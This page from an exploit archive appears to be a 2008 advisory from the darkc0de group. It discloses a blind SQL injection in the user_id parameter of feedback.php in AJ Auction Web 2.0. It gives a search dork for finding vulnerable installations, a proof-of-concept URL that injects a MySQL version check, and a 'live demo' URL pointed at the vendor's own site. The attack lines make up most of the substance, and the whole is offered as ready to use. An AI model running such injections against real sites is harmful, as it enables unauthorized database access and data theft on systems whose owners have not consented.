Home / exploits

PDF

ajauctionweb20-sql.txt

Posted on 28 September 2008

################################################################
#       .___             __          _______       .___        #
#     __| _/____ _______|  | __ ____    _      __| _/____    #
#    / __ |\__  \_  __   |/ // ___/  /_    / __ |/ __    #
#   / /_/ | / __ |  | /    <  \___  \_/   / /_/   ___/   #
#   \____ |(______/__|  |__|_ \_____>\_____  /\_____|\____   #
#        /                  /             /                 #
#                   ___________   ______  _  __                #
#                 _/ ___\_  __ \_/ __  / / /                #
#                   \___|  | /  ___/     /                 #
#                  \___  >__|    \___  >/\_/                  #
#      est.2007        /            /   forum.darkc0de.com   #
################################################################
# --d3hydr8 -rsauron-baltazar -sinner_01 -C1c4Tr1Z - beenu     #
#-Marezzi-P47tr1ck- FeDeReR -MAGE -JeTFyrE- DON-Outlawz        #
#        and all darkc0de and NikTrix members               ---#
################################################################
#
# Author: r45c4l
#
# Home  : www.darkc0de.com & niktrix.info
#
# Email : r45c4l@hotmail.com
#
# Share the c0de!
#
################################################################
#
# Title:  AJ Auction Web 2.0 (feedback.php?user_id) SQL Injection
#
# VEndor: http://www.ajauctionpro.com
#
#
###########################################################
#
# d0rk: powered by Auction web2.0
#
###########################################################

POC :-

http://www.site.com/[path]/feedback.php?user_id=130+and+substring(@@version,1,1)=5


Live Demo:

http://www.ajauctionpro.com/auction_web2.0/feedback.php?user_id=130+and+substring(@@version,1,1)=5

###########################################################
#
#  Bug discovered : 28 Sep.2008
###########################################################

 

TOP